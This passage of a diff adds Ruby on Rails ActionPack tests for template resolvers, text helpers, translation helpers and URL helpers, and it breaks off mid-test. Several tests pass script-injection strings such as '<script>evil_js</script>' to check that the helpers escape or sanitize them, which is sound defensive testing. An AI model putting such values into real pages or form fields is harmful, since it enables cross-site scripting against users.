@@ -0,0 +1,18 @@
+require 'abstract_unit'
+
+class FixtureResolverTest < ActiveSupport::TestCase
+ def test_should_return_empty_list_for_unknown_path
+ resolver = ActionView::FixtureResolver.new()
+ templates = resolver.find_all("path", "arbitrary", false, {:locale => [], :formats => [:html], :handlers => []})
+ assert_equal [], templates, "expected an empty list of templates"
+ end
+
+ def test_should_return_template_for_declared_path
+ resolver = ActionView::FixtureResolver.new("arbitrary/path.erb" => "this text")
+ templates = resolver.find_all("path", "arbitrary", false, {:locale => [], :formats => [:html], :handlers => [:erb]})
+ assert_equal 1, templates.size, "expected one template"
+ assert_equal "this text", templates.first.source
+ assert_equal "arbitrary/path", templates.first.virtual_path
+ assert_equal [:html], templates.first.formats
+ end
+end
diff --git a/actionpack/test/template/testing/null_resolver_test.rb b/actionpack/test/template/testing/null_resolver_test.rb
new file mode 100644
index 0000000..55ec36e
--- /dev/null
+++ b/actionpack/test/template/testing/null_resolver_test.rb
@@ -0,0 +1,12 @@
+require 'abstract_unit'
+
+class NullResolverTest < ActiveSupport::TestCase
+ def test_should_return_template_for_any_path
+ resolver = ActionView::NullResolver.new()
+ templates = resolver.find_all("path.erb", "arbitrary", false, {:locale => [], :formats => [:html], :handlers => []})
+ assert_equal 1, templates.size, "expected one template"
+ assert_equal "Template generated by Null Resolver", templates.first.source
+ assert_equal "arbitrary/path.erb", templates.first.virtual_path.to_s
+ assert_equal [:html], templates.first.formats
+ end
+end
diff --git a/actionpack/test/template/text_helper_test.rb b/actionpack/test/template/text_helper_test.rb
new file mode 100644
index 0000000..1b2234f
--- /dev/null
+++ b/actionpack/test/template/text_helper_test.rb
@@ -0,0 +1,467 @@
+# encoding: utf-8
+require 'abstract_unit'
+
+class TextHelperTest < ActionView::TestCase
+ tests ActionView::Helpers::TextHelper
+
+ def setup
+ super
+ # This simulates the fact that instance variables are reset every time
+ # a view is rendered. The cycle helper depends on this behavior.
+ @_cycles = nil if (defined? @_cycles)
+ end
+
+ def test_concat
+ self.output_buffer = 'foo'
+ assert_equal 'foobar', concat('bar')
+ assert_equal 'foobar', output_buffer
+ end
+
+ def test_simple_format_should_be_html_safe
+ assert simple_format("<b> test with html tags </b>").html_safe?
+ end
+
+ def test_simple_format
+ assert_equal "<p></p>", simple_format(nil)
+
+ assert_equal "<p>crazy\n<br /> cross\n<br /> platform linebreaks</p>", simple_format("crazy\r\n cross\r platform linebreaks")
+ assert_equal "<p>A paragraph</p>\n\n<p>and another one!</p>", simple_format("A paragraph\n\nand another one!")
+ assert_equal "<p>A paragraph\n<br /> With a newline</p>", simple_format("A paragraph\n With a newline")
+
+ text = "A\nB\nC\nD".freeze
+ assert_equal "<p>A\n<br />B\n<br />C\n<br />D</p>", simple_format(text)
+
+ text = "A\r\n \nB\n\n\r\n\t\nC\nD".freeze
+ assert_equal "<p>A\n<br /> \n<br />B</p>\n\n<p>\t\n<br />C\n<br />D</p>", simple_format(text)
+
+ assert_equal %q(<p class="test">This is a classy test</p>), simple_format("This is a classy test", :class => 'test')
+ assert_equal %Q(<p class="test">para 1</p>\n\n<p class="test">para 2</p>), simple_format("para 1\n\npara 2", :class => 'test')
+ end
+
+ def test_simple_format_should_sanitize_input_when_sanitize_option_is_not_false
+ assert_equal "<p><b> test with unsafe string </b></p>", simple_format("<b> test with unsafe string </b><script>code!</script>")
+ end
+
+ def test_simple_format_should_not_sanitize_input_when_sanitize_option_is_false
+ assert_equal "<p><b> test with unsafe string </b><script>code!</script></p>", simple_format("<b> test with unsafe string </b><script>code!</script>", {}, :sanitize => false)
+ end
+
+ def test_simple_format_with_custom_wrapper
+ assert_equal "<div></div>", simple_format(nil, {}, :wrapper_tag => "div")
+ end
+
+ def test_simple_format_with_custom_wrapper_and_multi_line_breaks
+ assert_equal "<div>We want to put a wrapper...</div>\n\n<div>...right there.</div>", simple_format("We want to put a wrapper...\n\n...right there.", {}, :wrapper_tag => "div")
+ end
+
+ def test_simple_format_should_not_change_the_text_passed
+ text = "<b>Ok</b><script>code!</script>"
+ text_clone = text.dup
+ simple_format(text)
+ assert_equal text_clone, text
+ end
+
+ def test_simple_format_does_not_modify_the_html_options_hash
+ options = { :class => "foobar"}
+ passed_options = options.dup
+ simple_format("some text", passed_options)
+ assert_equal options, passed_options
+ end
+
+ def test_simple_format_does_not_modify_the_options_hash
+ options = { :wrapper_tag => :div, :sanitize => false }
+ passed_options = options.dup
+ simple_format("some text", {}, passed_options)
+ assert_equal options, passed_options
+ end
+
+ def test_truncate
+ assert_equal "Hello World!", truncate("Hello World!", :length => 12)
+ assert_equal "Hello Wor...", truncate("Hello World!!", :length => 12)
+ end
+
+ def test_truncate_should_use_default_length_of_30
+ str = "This is a string that will go longer then the default truncate length of 30"
+ assert_equal str[0...27] + "...", truncate(str)
+ end
+
+ def test_truncate_with_options_hash
+ assert_equal "This is a string that wil[...]", truncate("This is a string that will go longer then the default truncate length of 30", :omission => "[...]")
+ assert_equal "Hello W...", truncate("Hello World!", :length => 10)
+ assert_equal "Hello[...]", truncate("Hello World!", :omission => "[...]", :length => 10)
+ assert_equal "Hello[...]", truncate("Hello Big World!", :omission => "[...]", :length => 13, :separator => ' ')
+ assert_equal "Hello Big[...]", truncate("Hello Big World!", :omission => "[...]", :length => 14, :separator => ' ')
+ assert_equal "Hello Big[...]", truncate("Hello Big World!", :omission => "[...]", :length => 15, :separator => ' ')
+ end
+
+ def test_truncate_multibyte
+ assert_equal "\354\225\204\353\246\254\353\236\221 \354\225\204\353\246\254 ...".force_encoding(Encoding::UTF_8),
+ truncate("\354\225\204\353\246\254\353\236\221 \354\225\204\353\246\254 \354\225\204\353\235\274\353\246\254\354\230\244".force_encoding(Encoding::UTF_8), :length => 10)
+ end
+
+ def test_truncate_does_not_modify_the_options_hash
+ options = { :length => 10 }
+ passed_options = options.dup
+ truncate("some text", passed_options)
+ assert_equal options, passed_options
+ end
+
+ def test_truncate_with_link_options
+ assert_equal "Here is a long test and ...<a href=\"#\">Continue</a>",
+ truncate("Here is a long test and I need a continue to read link", :length => 27) { link_to 'Continue', '#' }
+ end
+
+ def test_truncate_should_be_html_safe
+ assert truncate("Hello World!", :length => 12).html_safe?
+ end
+
+ def test_truncate_should_escape_the_input
+ assert_equal "Hello <sc...", truncate("Hello <script>code!</script>World!!", :length => 12)
+ end
+
+ def test_truncate_should_not_escape_the_input_with_escape_false
+ assert_equal "Hello <sc...", truncate("Hello <script>code!</script>World!!", :length => 12, :escape => false)
+ end
+
+ def test_truncate_with_escape_false_should_be_html_safe
+ truncated = truncate("Hello <script>code!</script>World!!", :length => 12, :escape => false)
+ assert truncated.html_safe?
+ end
+
+ def test_truncate_with_block_should_be_html_safe
+ truncated = truncate("Here's a long test and I need a continue to read link", :length => 27) { link_to 'Continue', '#' }
+ assert truncated.html_safe?
+ end
+
+ def test_truncate_with_block_should_escape_the_input
+ assert_equal "<script>code!</script>He...<a href=\"#\">Continue</a>",
+ truncate("<script>code!</script>Here's a long test and I need a continue to read link", :length => 27) { link_to 'Continue', '#' }
+ end
+
+ def test_truncate_with_block_should_not_escape_the_input_with_escape_false
+ assert_equal "<script>code!</script>He...<a href=\"#\">Continue</a>",
+ truncate("<script>code!</script>Here's a long test and I need a continue to read link", :length => 27, :escape => false) { link_to 'Continue', '#' }
+ end
+
+ def test_truncate_with_block_with_escape_false_should_be_html_safe
+ truncated = truncate("<script>code!</script>Here's a long test and I need a continue to read link", :length => 27, :escape => false) { link_to 'Continue', '#' }
+ assert truncated.html_safe?
+ end
+
+ def test_truncate_with_block_should_escape_the_block
+ assert_equal "Here is a long test and ...<script>alert('foo');</script>",
+ truncate("Here is a long test and I need a continue to read link", :length => 27) { "<script>alert('foo');</script>" }
+ end
+
+ def test_highlight_should_be_html_safe
+ assert highlight("This is a beautiful morning", "beautiful").html_safe?
+ end
+
+ def test_highlight
+ assert_equal(
+ "This is a <mark>beautiful</mark> morning",
+ highlight("This is a beautiful morning", "beautiful")
+ )
+
+ assert_equal(
+ "This is a <mark>beautiful</mark> morning, but also a <mark>beautiful</mark> day",
+ highlight("This is a beautiful morning, but also a beautiful day", "beautiful")
+ )
+
+ assert_equal(
+ "This is a <b>beautiful</b> morning, but also a <b>beautiful</b> day",
+ highlight("This is a beautiful morning, but also a beautiful day", "beautiful", :highlighter => '<b>\1</b>')
+ )
+
+ assert_equal(
+ "This text is not changed because we supplied an empty phrase",
+ highlight("This text is not changed because we supplied an empty phrase", nil)
+ )
+
+ assert_equal ' ', highlight(' ', 'blank text is returned verbatim')
+ end
+
+ def test_highlight_should_sanitize_input
+ assert_equal(
+ "This is a <mark>beautiful</mark> morning",
+ highlight("This is a beautiful morning<script>code!</script>", "beautiful")
+ )
+ end
+
+ def test_highlight_should_not_sanitize_if_sanitize_option_if_false
+ assert_equal(
+ "This is a <mark>beautiful</mark> morning<script>code!</script>",
+ highlight("This is a beautiful morning<script>code!</script>", "beautiful", :sanitize => false)
+ )
+ end
+
+ def test_highlight_with_regexp
+ assert_equal(
+ "This is a <mark>beautiful!</mark> morning",
+ highlight("This is a beautiful! morning", "beautiful!")
+ )
+
+ assert_equal(
+ "This is a <mark>beautiful! morning</mark>",
+ highlight("This is a beautiful! morning", "beautiful! morning")
+ )
+
+ assert_equal(
+ "This is a <mark>beautiful? morning</mark>",
+ highlight("This is a beautiful? morning", "beautiful? morning")
+ )
+ end
+
+ def test_highlight_with_multiple_phrases_in_one_pass
+ assert_equal %(<em>wow</em> <em>em</em>), highlight('wow em', %w(wow em), :highlighter => '<em>\1</em>')
+ end
+
+ def test_highlight_with_html
+ assert_equal(
+ "<p>This is a <mark>beautiful</mark> morning, but also a <mark>beautiful</mark> day</p>",
+ highlight("<p>This is a beautiful morning, but also a beautiful day</p>", "beautiful")
+ )
+ assert_equal(
+ "<p>This is a <em><mark>beautiful</mark></em> morning, but also a <mark>beautiful</mark> day</p>",
+ highlight("<p>This is a <em>beautiful</em> morning, but also a beautiful day</p>", "beautiful")
+ )
+ assert_equal(
+ "<p>This is a <em class=\"error\"><mark>beautiful</mark></em> morning, but also a <mark>beautiful</mark> <span class=\"last\">day</span></p>",
+ highlight("<p>This is a <em class=\"error\">beautiful</em> morning, but also a beautiful <span class=\"last\">day</span></p>", "beautiful")
+ )
+ assert_equal(
+ "<p class=\"beautiful\">This is a <mark>beautiful</mark> morning, but also a <mark>beautiful</mark> day</p>",
+ highlight("<p class=\"beautiful\">This is a beautiful morning, but also a beautiful day</p>", "beautiful")
+ )
+ assert_equal(
+ "<p>This is a <mark>beautiful</mark> <a href=\"http://example.com/beautiful#top?what=beautiful%20morning&when=now+then\">morning</a>, but also a <mark>beautiful</mark> day</p>",
+ highlight("<p>This is a beautiful <a href=\"http://example.com/beautiful\#top?what=beautiful%20morning&when=now+then\">morning</a>, but also a beautiful day</p>", "beautiful")
+ )
+ assert_equal(
+ "<div>abc <b>div</b></div>",
+ highlight("<div>abc div</div>", "div", :highlighter => '<b>\1</b>')
+ )
+ end
+
+ def test_highlight_does_not_modify_the_options_hash
+ options = { :highlighter => '<b>\1</b>', :sanitize => false }
+ passed_options = options.dup
+ highlight("<div>abc div</div>", "div", passed_options)
+ assert_equal options, passed_options
+ end
+
+ def test_excerpt
+ assert_equal("...is a beautiful morn...", excerpt("This is a beautiful morning", "beautiful", :radius => 5))
+ assert_equal("This is a...", excerpt("This is a beautiful morning", "this", :radius => 5))
+ assert_equal("...iful morning", excerpt("This is a beautiful morning", "morning", :radius => 5))
+ assert_nil excerpt("This is a beautiful morning", "day")
+ end
+
+ def test_excerpt_should_not_be_html_safe
+ assert !excerpt('This is a beautiful! morning', 'beautiful', :radius => 5).html_safe?
+ end
+
+ def test_excerpt_in_borderline_cases
+ assert_equal("", excerpt("", "", :radius => 0))
+ assert_equal("a", excerpt("a", "a", :radius => 0))
+ assert_equal("...b...", excerpt("abc", "b", :radius => 0))
+ assert_equal("abc", excerpt("abc", "b", :radius => 1))
+ assert_equal("abc...", excerpt("abcd", "b", :radius => 1))
+ assert_equal("...abc", excerpt("zabc", "b", :radius => 1))
+ assert_equal("...abc...", excerpt("zabcd", "b", :radius => 1))
+ assert_equal("zabcd", excerpt("zabcd", "b", :radius => 2))
+
+ # excerpt strips the resulting string before ap-/prepending excerpt_string.
+ # whether this behavior is meaningful when excerpt_string is not to be
+ # appended is questionable.
+ assert_equal("zabcd", excerpt(" zabcd ", "b", :radius => 4))
+ assert_equal("...abc...", excerpt("z abc d", "b", :radius => 1))
+ end
+
+ def test_excerpt_with_regex
+ assert_equal('...is a beautiful! mor...', excerpt('This is a beautiful! morning', 'beautiful', :radius => 5))
+ assert_equal('...is a beautiful? mor...', excerpt('This is a beautiful? morning', 'beautiful', :radius => 5))
+ end
+
+ def test_excerpt_with_omission
+ assert_equal("[...]is a beautiful morn[...]", excerpt("This is a beautiful morning", "beautiful", :omission => "[...]",:radius => 5))
+ assert_equal(
+ "This is the ultimate supercalifragilisticexpialidoceous very looooooooooooooooooong looooooooooooong beautiful morning with amazing sunshine and awesome tempera[...]",
+ excerpt("This is the ultimate supercalifragilisticexpialidoceous very looooooooooooooooooong looooooooooooong beautiful morning with amazing sunshine and awesome temperatures. So what are you gonna do about it?", "very",
+ :omission => "[...]")
+ )
+ end
+
+ def test_excerpt_with_utf8
+ assert_equal("...\357\254\203ciency could not be...".force_encoding(Encoding::UTF_8), excerpt("That's why e\357\254\203ciency could not be helped".force_encoding(Encoding::UTF_8), 'could', :radius => 8))
+ end
+
+ def test_excerpt_does_not_modify_the_options_hash
+ options = { :omission => "[...]",:radius => 5 }
+ passed_options = options.dup
+ excerpt("This is a beautiful morning", "beautiful", passed_options)
+ assert_equal options, passed_options
+ end
+
+ def test_excerpt_with_separator
+ options = { :separator => ' ', :radius => 1 }
+ assert_equal('...a very beautiful...', excerpt('This is a very beautiful morning', 'very', options))
+ assert_equal('This is...', excerpt('This is a very beautiful morning', 'this', options))
+ assert_equal('...beautiful morning', excerpt('This is a very beautiful morning', 'morning', options))
+
+ options = { :separator => "\n", :radius => 0 }
+ assert_equal("...very long...", excerpt("my very\nvery\nvery long\nstring", 'long', options))
+
+ options = { :separator => "\n", :radius => 1 }
+ assert_equal("...very\nvery long\nstring", excerpt("my very\nvery\nvery long\nstring", 'long', options))
+ end
+
+ def test_word_wrap
+ assert_equal("my very very\nvery long\nstring", word_wrap("my very very very long string", :line_width => 15))
+ end
+
+ def test_word_wrap_with_extra_newlines
+ assert_equal("my very very\nvery long\nstring\n\nwith another\nline", word_wrap("my very very very long string\n\nwith another line", :line_width => 15))
+ end
+
+ def test_word_wrap_does_not_modify_the_options_hash
+ options = { :line_width => 15 }
+ passed_options = options.dup
+ word_wrap("some text", passed_options)
+ assert_equal options, passed_options
+ end
+
+ def test_pluralization
+ assert_equal("1 count", pluralize(1, "count"))
+ assert_equal("2 counts", pluralize(2, "count"))
+ assert_equal("1 count", pluralize('1', "count"))
+ assert_equal("2 counts", pluralize('2', "count"))
+ assert_equal("1,066 counts", pluralize('1,066', "count"))
+ assert_equal("1.25 counts", pluralize('1.25', "count"))
+ assert_equal("1.0 count", pluralize('1.0', "count"))
+ assert_equal("1.00 count", pluralize('1.00', "count"))
+ assert_equal("2 counters", pluralize(2, "count", "counters"))
+ assert_equal("0 counters", pluralize(nil, "count", "counters"))
+ assert_equal("2 people", pluralize(2, "person"))
+ assert_equal("10 buffaloes", pluralize(10, "buffalo"))
+ assert_equal("1 berry", pluralize(1, "berry"))
+ assert_equal("12 berries", pluralize(12, "berry"))
+ end
+
+ def test_cycle_class
+ value = Cycle.new("one", 2, "3")
+ assert_equal("one", value.to_s)
+ assert_equal("2", value.to_s)
+ assert_equal("3", value.to_s)
+ assert_equal("one", value.to_s)
+ value.reset
+ assert_equal("one", value.to_s)
+ assert_equal("2", value.to_s)
+ assert_equal("3", value.to_s)
+ end
+
+ def test_cycle_class_with_no_arguments
+ assert_raise(ArgumentError) { Cycle.new }
+ end
+
+ def test_cycle
+ assert_equal("one", cycle("one", 2, "3"))
+ assert_equal("2", cycle("one", 2, "3"))
+ assert_equal("3", cycle("one", 2, "3"))
+ assert_equal("one", cycle("one", 2, "3"))
+ assert_equal("2", cycle("one", 2, "3"))
+ assert_equal("3", cycle("one", 2, "3"))
+ end
+
+ def test_cycle_with_no_arguments
+ assert_raise(ArgumentError) { cycle }
+ end
+
+ def test_cycle_resets_with_new_values
+ assert_equal("even", cycle("even", "odd"))
+ assert_equal("odd", cycle("even", "odd"))
+ assert_equal("even", cycle("even", "odd"))
+ assert_equal("1", cycle(1, 2, 3))
+ assert_equal("2", cycle(1, 2, 3))
+ assert_equal("3", cycle(1, 2, 3))
+ assert_equal("1", cycle(1, 2, 3))
+ end
+
+ def test_named_cycles
+ assert_equal("1", cycle(1, 2, 3, :name => "numbers"))
+ assert_equal("red", cycle("red", "blue", :name => "colors"))
+ assert_equal("2", cycle(1, 2, 3, :name => "numbers"))
+ assert_equal("blue", cycle("red", "blue", :name => "colors"))
+ assert_equal("3", cycle(1, 2, 3, :name => "numbers"))
+ assert_equal("red", cycle("red", "blue", :name => "colors"))
+ end
+
+ def test_current_cycle_with_default_name
+ cycle("even","odd")
+ assert_equal "even", current_cycle
+ cycle("even","odd")
+ assert_equal "odd", current_cycle
+ cycle("even","odd")
+ assert_equal "even", current_cycle
+ end
+
+ def test_current_cycle_with_named_cycles
+ cycle("red", "blue", :name => "colors")
+ assert_equal "red", current_cycle("colors")
+ cycle("red", "blue", :name => "colors")
+ assert_equal "blue", current_cycle("colors")
+ cycle("red", "blue", :name => "colors")
+ assert_equal "red", current_cycle("colors")
+ end
+
+ def test_current_cycle_safe_call
+ assert_nothing_raised { current_cycle }
+ assert_nothing_raised { current_cycle("colors") }
+ end
+
+ def test_current_cycle_with_more_than_two_names
+ cycle(1,2,3)
+ assert_equal "1", current_cycle
+ cycle(1,2,3)
+ assert_equal "2", current_cycle
+ cycle(1,2,3)
+ assert_equal "3", current_cycle
+ cycle(1,2,3)
+ assert_equal "1", current_cycle
+ end
+
+ def test_default_named_cycle
+ assert_equal("1", cycle(1, 2, 3))
+ assert_equal("2", cycle(1, 2, 3, :name => "default"))
+ assert_equal("3", cycle(1, 2, 3))
+ end
+
+ def test_reset_cycle
+ assert_equal("1", cycle(1, 2, 3))
+ assert_equal("2", cycle(1, 2, 3))
+ reset_cycle
+ assert_equal("1", cycle(1, 2, 3))
+ end
+
+ def test_reset_unknown_cycle
+ reset_cycle("colors")
+ end
+
+ def test_recet_named_cycle
+ assert_equal("1", cycle(1, 2, 3, :name => "numbers"))
+ assert_equal("red", cycle("red", "blue", :name => "colors"))
+ reset_cycle("numbers")
+ assert_equal("1", cycle(1, 2, 3, :name => "numbers"))
+ assert_equal("blue", cycle("red", "blue", :name => "colors"))
+ assert_equal("2", cycle(1, 2, 3, :name => "numbers"))
+ assert_equal("red", cycle("red", "blue", :name => "colors"))
+ end
+
+ def test_cycle_no_instance_variable_clashes
+ @cycles = %w{Specialized Fuji Giant}
+ assert_equal("red", cycle("red", "blue"))
+ assert_equal("blue", cycle("red", "blue"))
+ assert_equal("red", cycle("red", "blue"))
+ assert_equal(%w{Specialized Fuji Giant}, @cycles)
+ end
+end
diff --git a/actionpack/test/template/translation_helper_test.rb b/actionpack/test/template/translation_helper_test.rb
new file mode 100644
index 0000000..d496dbb
--- /dev/null
+++ b/actionpack/test/template/translation_helper_test.rb
@@ -0,0 +1,138 @@
+require 'abstract_unit'
+
+class TranslationHelperTest < ActiveSupport::TestCase
+ include ActionView::Helpers::TagHelper
+ include ActionView::Helpers::TranslationHelper
+
+ attr_reader :request, :view
+
+ def setup
+ I18n.backend.store_translations(:en,
+ :translations => {
+ :templates => {
+ :found => { :foo => 'Foo' },
+ :array => { :foo => { :bar => 'Foo Bar' } },
+ :default => { :foo => 'Foo' }
+ },
+ :foo => 'Foo',
+ :hello => '<a>Hello World</a>',
+ :html => '<a>Hello World</a>',
+ :hello_html => '<a>Hello World</a>',
+ :interpolated_html => '<a>Hello %{word}</a>',
+ :array_html => %w(foo bar),
+ :array => %w(foo bar),
+ :count_html => {
+ :one => '<a>One %{count}</a>',
+ :other => '<a>Other %{count}</a>'
+ }
+ }
+ )
+ @view = ::ActionView::Base.new(ActionController::Base.view_paths, {})
+ end
+
+ def test_delegates_to_i18n_setting_the_rescue_format_option_to_html
+ I18n.expects(:translate).with(:foo, :locale => 'en', :rescue_format => :html).returns("")
+ translate :foo, :locale => 'en'
+ end
+
+ def test_delegates_localize_to_i18n
+ @time = Time.utc(2008, 7, 8, 12, 18, 38)
+ I18n.expects(:localize).with(@time)
+ localize @time
+ end
+
+ def test_returns_missing_translation_message_wrapped_into_span
+ expected = '<span class="translation_missing" title="translation missing: en.translations.missing">Missing</span>'
+ assert_equal expected, translate(:"translations.missing")
+ assert_equal true, translate(:"translations.missing").html_safe?
+ end
+
+ def test_returns_missing_translation_message_using_nil_as_rescue_format
+ expected = 'translation missing: en.translations.missing'
+ assert_equal expected, translate(:"translations.missing", :rescue_format => nil)
+ assert_equal false, translate(:"translations.missing", :rescue_format => nil).html_safe?
+ end
+
+ def test_i18n_translate_defaults_to_nil_rescue_format
+ expected = 'translation missing: en.translations.missing'
+ assert_equal expected, I18n.translate(:"translations.missing")
+ assert_equal false, I18n.translate(:"translations.missing").html_safe?
+ end
+
+ def test_translation_returning_an_array
+ expected = %w(foo bar)
+ assert_equal expected, translate(:"translations.array")
+ end
+
+ def test_finds_translation_scoped_by_partial
+ assert_equal 'Foo', view.render(:file => 'translations/templates/found').strip
+ end
+
+ def test_finds_array_of_translations_scoped_by_partial
+ assert_equal 'Foo Bar', @view.render(:file => 'translations/templates/array').strip
+ end
+
+ def test_default_lookup_scoped_by_partial
+ assert_equal 'Foo', view.render(:file => 'translations/templates/default').strip
+ end
+
+ def test_missing_translation_scoped_by_partial
+ expected = '<span class="translation_missing" title="translation missing: en.translations.templates.missing.missing">Missing</span>'
+ assert_equal expected, view.render(:file => 'translations/templates/missing').strip
+ end
+
+ def test_translate_does_not_mark_plain_text_as_safe_html
+ assert_equal false, translate(:'translations.hello').html_safe?
+ end
+
+ def test_translate_marks_translations_named_html_as_safe_html
+ assert translate(:'translations.html').html_safe?
+ end
+
+ def test_translate_marks_translations_with_a_html_suffix_as_safe_html
+ assert translate(:'translations.hello_html').html_safe?
+ end
+
+ def test_translate_escapes_interpolations_in_translations_with_a_html_suffix
+ assert_equal '<a>Hello <World></a>', translate(:'translations.interpolated_html', :word => '<World>')
+ assert_equal '<a>Hello <World></a>', translate(:'translations.interpolated_html', :word => stub(:to_s => "<World>"))
+ end
+
+ def test_translate_with_html_count
+ assert_equal '<a>One 1</a>', translate(:'translations.count_html', :count => 1)
+ assert_equal '<a>Other 2</a>', translate(:'translations.count_html', :count => 2)
+ assert_equal '<a>Other <One></a>', translate(:'translations.count_html', :count => '<One>')
+ end
+
+ def test_translation_returning_an_array_ignores_html_suffix
+ assert_equal ["foo", "bar"], translate(:'translations.array_html')
+ end
+
+ def test_translate_with_default_named_html
+ translation = translate(:'translations.missing', :default => :'translations.hello_html')
+ assert_equal '<a>Hello World</a>', translation
+ assert_equal true, translation.html_safe?
+ end
+
+ def test_translate_with_two_defaults_named_html
+ translation = translate(:'translations.missing', :default => [:'translations.missing_html', :'translations.hello_html'])
+ assert_equal '<a>Hello World</a>', translation
+ assert_equal true, translation.html_safe?
+ end
+
+ def test_translate_with_last_default_named_html
+ translation = translate(:'translations.missing', :default => [:'translations.missing', :'translations.hello_html'])
+ assert_equal '<a>Hello World</a>', translation
+ assert_equal true, translation.html_safe?
+ end
+
+ def test_translate_with_string_default
+ translation = translate(:'translations.missing', default: 'A Generic String')
+ assert_equal 'A Generic String', translation
+ end
+
+ def test_translate_with_array_of_string_defaults
+ translation = translate(:'translations.missing', default: ['A Generic String', 'Second generic string'])
+ assert_equal 'A Generic String', translation
+ end
+end
diff --git a/actionpack/test/template/url_helper_test.rb b/actionpack/test/template/url_helper_test.rb
new file mode 100644
index 0000000..9b4c419
--- /dev/null
+++ b/actionpack/test/template/url_helper_test.rb
@@ -0,0 +1,829 @@
+# encoding: utf-8
+require 'abstract_unit'
+require 'controller/fake_controllers'
+
+class UrlHelperTest < ActiveSupport::TestCase
+
+ # In a few cases, the helper proxies to 'controller'
+ # or request.
+ #
+ # In those cases, we'll set up a simple mock
+ attr_accessor :controller, :request
+
+ cattr_accessor :request_forgery
+ self.request_forgery = false
+
+ routes = ActionDispatch::Routing::RouteSet.new
+ routes.draw do
+ get "/" => "foo#bar"
+ get "/other" => "foo#other"
+ get "/article/:id" => "foo#article", :as => :article
+ end
+
+ include ActionView::Helpers::UrlHelper
+ include routes.url_helpers
+
+ include ActionView::Helpers::JavaScriptHelper
+ include ActionDispatch::Assertions::DomAssertions
+ include ActionView::Context
+ include RenderERBUtils
+
+ setup :_prepare_context
+
+ def hash_for(options = {})
+ { controller: "foo", action: "bar" }.merge!(options)
+ end
+ alias url_hash hash_for
+
+ def test_url_for_does_not_escape_urls
+ assert_equal "/?a=b&c=d", url_for(hash_for(a: :b, c: :d))
+ end
+
+ def test_url_for_with_back
+ referer = 'http://www.example.com/referer'
+ @controller = Struct.new(:request).new(Struct.new(:env).new("HTTP_REFERER" => referer))
+
+ assert_equal 'http://www.example.com/referer', url_for(:back)
+ end
+
+ def test_url_for_with_back_and_no_referer
+ @controller = Struct.new(:request).new(Struct.new(:env).new({}))
+ assert_equal 'javascript:history.back()', url_for(:back)
+ end
+
+ def test_button_to_with_straight_url
+ assert_dom_equal %{<form method="post" action="http://www.example.com" class="button_to"><div><input type="submit" value="Hello" /></div></form>}, button_to("Hello", "http://www.example.com")
+ end
+
+ def test_button_to_with_straight_url_and_request_forgery
+ self.request_forgery = true
+
+ assert_dom_equal(
+ %{<form method="post" action="http://www.example.com" class="button_to"><div><input type="submit" value="Hello" /><input name="form_token" type="hidden" value="secret" /></div></form>},
+ button_to("Hello", "http://www.example.com")
+ )
+ ensure
+ self.request_forgery = false
+ end
+
+ def test_button_to_with_form_class
+ assert_dom_equal %{<form method="post" action="http://www.example.com" class="custom-class"><div><input type="submit" value="Hello" /></div></form>}, button_to("Hello", "http://www.example.com", form_class: 'custom-class')
+ end
+
+ def test_button_to_with_form_class_escapes
+ assert_dom_equal %{<form method="post" action="http://www.example.com" class="<script>evil_js</script>"><div><input type="submit" value="Hello" /></div></form>}, button_to("Hello", "http://www.example.com", form_class: '<script>evil_js</script>')
+ end
+
+ def test_button_to_with_query
+ assert_dom_equal %{<form method="post" action="http://www.example.com/q1=v1&q2=v2" class="button_to"><div><input type="submit" value="Hello" /></div></form>}, button_to("Hello", "http://www.example.com/q1=v1&q2=v2")
+ end
+
+ def test_button_to_with_html_safe_URL
+ assert_dom_equal %{<form method="post" action="http://www.example.com/q1=v1&q2=v2" class="button_to"><div><input type="submit" value="Hello" /></div></form>}, button_to("Hello", "http://www.example.com/q1=v1&q2=v2".html_safe)
+ end
+
+ def test_button_to_with_query_and_no_name
+ assert_dom_equal %{<form method="post" action="http://www.example.com?q1=v1&q2=v2" class="button_to"><div><input type="submit" value="http://www.example.com?q1=v1&q2=v2" /></div></form>}, button_to(nil, "http://www.example.com?q1=v1&q2=v2")
+ end
+
+ def test_button_to_with_javascript_confirm
+ assert_dom_equal(
+ %{<form method="post" action="http://www.example.com" class="button_to"><div><input data-confirm="Are you sure?" type="submit" value="Hello" /></div></form>},
+ button_to("Hello", "http://www.example.com", data: { confirm: "Are you sure?" })
+ )
+ end
+
+ def test_button_to_with_deprecated_confirm
+ assert_deprecated ":confirm option is deprecated and will be removed from Rails 4.1. Use 'data: { confirm: \'Text\' }' instead" do
+ assert_dom_equal(
+ %{<form method="post" action="http://www.example.com" class="button_to"><div><input data-confirm="Are you sure?" type="submit" value="Hello" /></div></form>},
+ button_to("Hello", "http://www.example.com", confirm: "Are you sure?")
+ )
+ end
+ end
+
+ def test_button_to_with_javascript_disable_with
+ assert_dom_equal(
+ %{<form method="post" action="http://www.example.com" class="button_to"><div><input data-disable-with="Greeting..." type="submit" value="Hello" /></div></form>},
+ button_to("Hello", "http://www.example.com", data: { disable_with: "Greeting..." })
+ )
+ end
+
+ def test_button_to_with_javascript_deprecated_disable_with
+ assert_deprecated ":disable_with option is deprecated and will be removed from Rails 4.1. Use 'data: { disable_with: \'Text\' }' instead" do
+ assert_dom_equal(
+ %{<form method="post" action="http://www.example.com" class="button_to"><div><input data-disable-with="Greeting..." type="submit" value="Hello" /></div></form>},
+ button_to("Hello", "http://www.example.com", disable_with: "Greeting...")
+ )
+ end
+ end
+
+ def test_button_to_with_remote_and_form_options
+ assert_dom_equal(
+ %{<form method="post" action="http://www.example.com" class="custom-class" data-remote="true" data-type="json"><div><input type="submit" value="Hello" /></div></form>},
+ button_to("Hello", "http://www.example.com", remote: true, form: { class: "custom-class", "data-type" => "json" })
+ )
+ end
+
+ def test_button_to_with_remote_and_javascript_confirm
+ assert_dom_equal(
+ %{<form method="post" action="http://www.example.com" class="button_to" data-remote="true"><div><input data-confirm="Are you sure?" type="submit" value="Hello" /></div></form>},
+ button_to("Hello", "http://www.example.com", remote: true, data: { confirm: "Are you sure?" })
+ )
+ end
+
+ def test_button_to_with_remote_and_javascript_with_deprecated_confirm
+ assert_deprecated ":confirm option is deprecated and will be removed from Rails 4.1. Use 'data: { confirm: \'Text\' }' instead" do
+ assert_dom_equal(
+ %{<form method="post" action="http://www.example.com" class="button_to" data-remote="true"><div><input data-confirm="Are you sure?" type="submit" value="Hello" /></div></form>},
+ button_to("Hello", "http://www.example.com", remote: true, confirm: "Are you sure?")
+ )
+ end
+ end
+
+ def test_button_to_with_remote_and_javascript_disable_with
+ assert_dom_equal(
